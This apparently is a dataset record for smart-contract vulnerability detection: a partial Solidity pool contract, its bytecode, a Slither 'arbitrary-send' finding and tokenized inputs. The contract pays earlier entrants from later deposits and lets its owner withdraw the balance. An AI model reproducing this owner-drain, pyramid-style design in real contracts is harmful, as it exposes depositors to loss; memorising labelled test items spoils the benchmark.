require(!isUserSignedUp(msg.sender), "User is already registered"); require(!isUserActive(msg.sender), "User is already active"); require(msg.value >= 1e8, "Zero amount"); require( msg.value >= SIGN_UP_AMOUNT.add(ACTIVATE_AMOUNT).mul(PAYMENT_FACTOR).div(DIVIDER), "Deposit is below minimum amount" ); User storage user = users[msg.sender]; if (user.signedUp == false && user.active == false) { payable(adminAddress).transfer(SIGN_UP_AMOUNT); user.signedUp = true; user.active = true; addUserPool(msg.sender); emit SignUp(msg.sender, SIGN_UP_AMOUNT); emit ActivePool(msg.sender, ACTIVATE_AMOUNT); } } function signUp() external payable { require(!isContract(msg.sender) && msg.sender == tx.origin); require(!isUserSignedUp(msg.sender), "User is already registered"); require(msg.value >= 1e8, "Zero amount"); require( msg.value >= SIGN_UP_AMOUNT.mul(PAYMENT_FACTOR).div(DIVIDER), "Deposit is below minimum amount" ); User storage user = users[msg.sender]; if (user.signedUp == false) { payable(adminAddress).transfer(msg.value); user.signedUp = true; emit SignUp(msg.sender, msg.value); } } function activatePool() external payable { require(!isContract(msg.sender) && msg.sender == tx.origin); require(isUserSignedUp(msg.sender), "The user must be registered"); require(!isUserActive(msg.sender), "User is already active"); require(msg.value >= 1e8, "Zero amount"); require( msg.value >= ACTIVATE_AMOUNT.mul(PAYMENT_FACTOR).div(DIVIDER), "Deposit is below minimum amount" ); User storage user = users[msg.sender]; if (user.active == false) { user.active = true; addUserPool(msg.sender); emit ActivePool(msg.sender, msg.value); } } function systemPayment(uint256 n, address user) internal { if (user != address(0)) { User storage userData = users[user]; if(n == 4){ userData.active = false; } if(address(this).balance > userPayments[n]){ // User payment payable(user).transfer(userPayments[n]); emit UpgradeUser(user, userPayments[n], n); } if(address(this).balance > adminPayments[n]){ // Admin payment payable(adminAddress).transfer(adminPayments[n]); } } } function addUserPool(address user) internal { address[4][] memory memoryPool = pool; // Primer usuario address firstUser = address(0); uint256 emptySpace = 9; // Buscar el ultimo espacio vacio en el pool 1 for (uint256 j = 0; j < USERS_PER_POOL; j++) { if (pool[0][j] == address(0)) { emptySpace = j; break; } } if (emptySpace != 9) { pool[0][emptySpace] = user; } else { // Desplazar for (uint256 n = 0; n < POOL_NUMBER; n++) { // Si es el primer pool liberar el ultimo espacio if (n == 0) { pool[n][0] = memoryPool[n][1]; pool[n][1] = memoryPool[n][2]; pool[n][2] = memoryPool[n][3]; pool[n][3] = user; user = address(0); } else { if (user == address(0) && firstUser == address(0)) break; // Buscar ultimo espacio vacio en el pool uint256 emptySpace2 = 9; for (uint256 k = 0; k < USERS_PER_POOL; k++) { if (pool[n][k] == address(0)) { emptySpace2 = k; break; } } // Si existe un espacio libre usarlo, sino desplazar if (emptySpace2 != 9) { pool[n][emptySpace2] = firstUser; systemPayment(n - 1, firstUser); firstUser = address(0); } else { pool[n][0] = memoryPool[n][1]; pool[n][1] = memoryPool[n][2]; pool[n][2] = memoryPool[n][3]; pool[n][3] = firstUser; systemPayment(n - 1, firstUser); firstUser = address(0); } } if (memoryPool[n][3] != address(0) || n == 4) { firstUser = memoryPool[n][0]; } } if(firstUser != address(0)){ systemPayment(4, firstUser); } } } function setPaymentFactor(uint256 percent) public onlyOwner returns (uint256){ PAYMENT_FACTOR = percent; return PAYMENT_FACTOR.div(DIVIDER); } function setAdmin(address user) public onlyOwner returns(bool){ adminAddress = payable(user); return true; } function withDrawFounds(uint256 amount) external payable onlyOwner { if (address(this).balance > amount) { payable(adminAddress).transfer(amount); } } function getPaymentFactor() public view returns (uint256) { return PAYMENT_FACTOR.div(DIVIDER); } function getPool() public view returns (address[4][] memory) { return pool; } function getUserData(address _user) public view returns (bool signedUp, bool active) { User storage user = users[_user]; return (user.signedUp, user.active); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } }
0x60806040526004361061009c5760003560e01c80639b1b615e116100645780639b1b615e1461018d578063a8e67bfc146101ca578063bf96ae63146101d4578063df8aceff146101de578063e8d47cfe146101e8578063ffc9896b146102135761009c565b8063026b1d5f146100a15780630502f57b146100cc578063077ebd91146101095780634b62c14f14610125578063704b6c0214610150575b600080fd5b3480156100ad57600080fd5b506100b6610251565b6040516100c39190612613565b60405180910390f35b3480156100d857600080fd5b506100f360048036038101906100ee91906123a0565b610317565b6040516101009190612739565b60405180910390f35b610123600480360381019061011e91906123a0565b6103cd565b005b34801561013157600080fd5b5061013a6104d0565b6040516101479190612739565b60405180910390f35b34801561015c57600080fd5b5061017760048036038101906101729190612377565b6104d6565b6040516101849190612635565b60405180910390f35b34801561019957600080fd5b506101b460048036038101906101af91906123c9565b6105b1565b6040516101c191906125f8565b60405180910390f35b6101d2610606565b005b6101dc610873565b005b6101e6610af8565b005b3480156101f457600080fd5b506101fd610e82565b60405161020a9190612739565b60405180910390f35b34801561021f57600080fd5b5061023a60048036038101906102359190612377565b610ea0565b604051610248929190612650565b60405180910390f35b60606003805480602002602001604051908101604052809291908181526020016000905b8282101561030e57838290600052602060002090600402016004806020026040519081016040528092919082600480156102fa576020028201915b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116102b0575b505050505081526020019060010190610275565b50505050905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146103a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161039f906126b9565b60405180910390fd5b816002819055506103c66103e8600254610f1490919063ffffffff16565b9050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461045b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610452906126b9565b60405180910390fd5b804711156104cd57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156104cb573d6000803e3d6000fd5b505b50565b60025481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610567576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055e906126b9565b60405180910390fd5b81600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600382815481106105c157600080fd5b906000526020600020906004020181600481106105dd57600080fd5b016000915091509054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61060f33610f3c565b15801561064757503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61065057600080fd5b61065933610f4f565b610698576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068f906126d9565b60405180910390fd5b6106a133610faf565b156106e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d890612719565b60405180910390fd5b6305f5e100341015610728576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071f90612679565b60405180910390fd5b6107586103e861074a6002546638d7ea4c68000061100f90919063ffffffff16565b610f1490919063ffffffff16565b34101561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612699565b60405180910390fd5b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600015158160000160019054906101000a900460ff16151514156108705760018160000160016101000a81548160ff02191690831515021790555061082133611054565b3373ffffffffffffffffffffffffffffffffffffffff167fa0859f85981fc4da73da47b08b8d890c9d890410d9a5192a733f6bc86c4a787e346040516108679190612739565b60405180910390a25b50565b61087c33610f3c565b1580156108b457503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108bd57600080fd5b6108c633610f4f565b15610906576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108fd906126f9565b60405180910390fd5b6305f5e10034101561094d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094490612679565b60405180910390fd5b61097d6103e861096f6002546638d7ea4c68000061100f90919063ffffffff16565b610f1490919063ffffffff16565b3410156109bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b690612699565b60405180910390fd5b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600015158160000160009054906101000a900460ff1615151415610af557600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610a88573d6000803e3d6000fd5b5060018160000160006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff167f0fe0ad5ab63b3a095a84f2ff9ad6b67149b096c0110510f456ed7c769e3cb72634604051610aec9190612739565b60405180910390a25b50565b610b0133610f3c565b158015610b3957503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610b4257600080fd5b610b4b33610f4f565b15610b8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b82906126f9565b60405180910390fd5b610b9433610faf565b15610bd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bcb90612719565b60405180910390fd5b6305f5e100341015610c1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1290612679565b60405180910390fd5b610c5d6103e8610c4f600254610c416638d7ea4c6800008061201b90919063ffffffff16565b61100f90919063ffffffff16565b610f1490919063ffffffff16565b341015610c9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9690612699565b60405180910390fd5b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600015158160000160009054906101000a900460ff161515148015610d1c5750600015158160000160019054906101000a900460ff161515145b15610e7f57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6638d7ea4c6800009081150290604051600060405180830381858888f19350505050158015610d90573d6000803e3d6000fd5b5060018160000160006101000a81548160ff02191690831515021790555060018160000160016101000a81548160ff021916908315150217905550610dd433611054565b3373ffffffffffffffffffffffffffffffffffffffff167f0fe0ad5ab63b3a095a84f2ff9ad6b67149b096c0110510f456ed7c769e3cb7266638d7ea4c680000604051610e219190612739565b60405180910390a23373ffffffffffffffffffffffffffffffffffffffff167fa0859f85981fc4da73da47b08b8d890c9d890410d9a5192a733f6bc86c4a787e6638d7ea4c680000604051610e769190612739565b60405180910390a25b50565b6000610e9b6103e8600254610f1490919063ffffffff16565b905090565b6000806000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508060000160009054906101000a900460ff168160000160019054906101000a900460ff169250925050915091565b6000808211610f2257600080fd5b60008284610f30919061284a565b90508091505092915050565b600080823b905060008111915050919050565b600060011515600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff161515149050919050565b600060011515600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160019054906101000a900460ff161515149050919050565b600080831415611022576000905061104e565b60008284611030919061287b565b905082848261103f919061284a565b1461104957600080fd5b809150505b92915050565b60006003805480602002602001604051908101604052809291908181526020016000905b8282101561111157838290600052602060002090600402016004806020026040519081016040528092919082600480156110fd576020028201915b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116110b3575b505050505081526020019060010190611078565b5050505090506000806009905060005b600481101561121c57600073ffffffffffffffffffffffffffffffffffffffff16600360008154811061117d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906004020182600481106111c3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156112095780915061121c565b808061121490612951565b915050611121565b50600981146112eb57836003600081548110611261577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906004020182600481106112a7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b0160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550612015565b60005b6005811015611fd357600081141561178757838181518110611339577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015160016004811061137a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151600382815481106113b9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000209060040201600060048110611400577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b0160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550838181518110611478577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101516002600481106114b9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151600382815481106114f8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906004020160016004811061153f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b0160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508381815181106115b7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101516003600481106115f8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015160038281548110611637577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906004020160026004811061167e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b0160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555084600382815481106116f8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906004020160036004811061173f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b0160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060009450611e7f565b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156117ef5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156117f957611fd3565b60006009905060005b60048110156118fc57600073ffffffffffffffffffffffffffffffffffffffff166003848154811061185d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906004020182600481106118a3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156118e9578091506118fc565b80806118f490612951565b915050611802565b50600981146119e4578360038381548110611940577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002090600402018260048110611986577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b0160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506119db6001836119d591906128d5565b85612043565b60009350611e7d565b848281518110611a1d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151600160048110611a5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015160038381548110611a9d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000209060040201600060048110611ae4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b0160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550848281518110611b5c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151600260048110611b9d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015160038381548110611bdc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000209060040201600160048110611c23577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b0160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550848281518110611c9b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151600360048110611cdc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015160038381548110611d1b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000209060040201600260048110611d62577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b0160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508360038381548110611ddc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000209060040201600360048110611e23577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b0160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611e78600183611e7291906128d5565b85612043565b600093505b505b600073ffffffffffffffffffffffffffffffffffffffff16848281518110611ed0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151600360048110611f11577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015173ffffffffffffffffffffffffffffffffffffffff16141580611f395750600481145b15611fc057838181518110611f77577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151600060048110611fb8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015192505b8080611fcb90612951565b9150506112ee565b50600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461201457612013600483612043565b5b5b50505050565b600080828461202a91906127f4565b90508381101561203957600080fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614612349576000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905060048314156120e15760008160000160016101000a81548160ff0219169083151502179055505b6004838154811061211b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020015447111561224d578173ffffffffffffffffffffffffffffffffffffffff166108fc60048581548110612181577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549081150290604051600060405180830381858888f193505050501580156121b7573d6000803e3d6000fd5b508173ffffffffffffffffffffffffffffffffffffffff167fbe66dc8167d16bab79c4c4cb42aa3794539f1364caf07a0d6b76e506518bde7b6004858154811061222a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020015485604051612244929190612754565b60405180910390a25b60058381548110612287577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020015447111561234757600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6005858154811061230f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549081150290604051600060405180830381858888f19350505050158015612345573d6000803e3d6000fd5b505b505b5050565b60008135905061235c81612aee565b92915050565b60008135905061237181612b05565b92915050565b60006020828403121561238957600080fd5b60006123978482850161234d565b91505092915050565b6000602082840312156123b257600080fd5b60006123c084828501612362565b91505092915050565b600080604083850312156123dc57600080fd5b60006123ea85828601612362565b92505060206123fb85828601612362565b9150509250929050565b60006124118383612435565b60208301905092915050565b60006124298383612453565b60808301905092915050565b61243e81612909565b82525050565b61244d81612909565b82525050565b61245c81612797565b61246681846127c7565b92506124718261277d565b8060005b838110156124a25781516124898782612405565b9650612494836127ad565b925050600181019050612475565b505050505050565b60006124b5826127a2565b6124bf81856127d2565b93506124ca83612787565b8060005b838110156124fb5781516124e2888261241d565b97506124ed836127ba565b9250506001810190506124ce565b5085935050505092915050565b6125118161291b565b82525050565b6000612524600b836127e3565b915061252f826129f8565b602082019050919050565b6000612547601f836127e3565b915061255282612a21565b602082019050919050565b600061256a6020836127e3565b915061257582612a4a565b602082019050919050565b600061258d601b836127e3565b915061259882612a73565b602082019050919050565b60006125b0601a836127e3565b91506125bb82612a9c565b602082019050919050565b60006125d36016836127e3565b91506125de82612ac5565b602082019050919050565b6125f281612947565b82525050565b600060208201905061260d6000830184612444565b92915050565b6000602082019050818103600083015261262d81846124aa565b905092915050565b600060208201905061264a6000830184612508565b92915050565b60006040820190506126656000830185612508565b6126726020830184612508565b9392505050565b6000602082019050818103600083015261269281612517565b9050919050565b600060208201905081810360008301526126b28161253a565b9050919050565b600060208201905081810360008301526126d28161255d565b9050919050565b600060208201905081810360008301526126f281612580565b9050919050565b60006020820190508181036000830152612712816125a3565b9050919050565b60006020820190508181036000830152612732816125c6565b9050919050565b600060208201905061274e60008301846125e9565b92915050565b600060408201905061276960008301856125e9565b61277660208301846125e9565b9392505050565b6000819050919050565b6000819050602082019050919050565b600060049050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b600081905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b60006127ff82612947565b915061280a83612947565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561283f5761283e61299a565b5b828201905092915050565b600061285582612947565b915061286083612947565b9250826128705761286f6129c9565b5b828204905092915050565b600061288682612947565b915061289183612947565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156128ca576128c961299a565b5b828202905092915050565b60006128e082612947565b91506128eb83612947565b9250828210156128fe576128fd61299a565b5b828203905092915050565b600061291482612927565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600061295c82612947565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561298f5761298e61299a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f5a65726f20616d6f756e74000000000000000000000000000000000000000000600082015250565b7f4465706f7369742069732062656c6f77206d696e696d756d20616d6f756e7400600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5468652075736572206d75737420626520726567697374657265640000000000600082015250565b7f5573657220697320616c72656164792072656769737465726564000000000000600082015250565b7f5573657220697320616c72656164792061637469766500000000000000000000600082015250565b612af781612909565b8114612b0257600080fd5b50565b612b0e81612947565b8114612b1957600080fd5b5056fea264697066735822122001123d066f3ba1519ec6236558d1b567389c5125fcd170d68cd3156ade82ca2b64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 19841, 2094, 20958, 2509, 2546, 2692, 17465, 2509, 2546, 28154, 2063, 2575, 2094, 24096, 16576, 9818, 2575, 2546, 16048, 27717, 2692, 12376, 2475, 10322, 2692, 2050, 2683, 2683, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1021, 1012, 1018, 1025, 3206, 6047, 5643, 1063, 2478, 3647, 18900, 2232, 2005, 21318, 3372, 17788, 2575, 1025, 4769, 3477, 3085, 2797, 3954, 1025, 1013, 1013, 6047, 3206, 3954, 1006, 2040, 21296, 2015, 1007, 4769, 3477, 3085, 2797, 4748, 22311, 14141, 8303, 1025, 1013, 1013, 2622, 3208, 21318, 3372, 17788, 2575, 2270, 7909, 1035, 5387, 1027, 6694, 1025, 21318, 3372, 17788, 2575, 2797, 5377, 11443, 2099, 1027, 6694, 1025, 21318, 3372, 17788, 2575, 2797, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]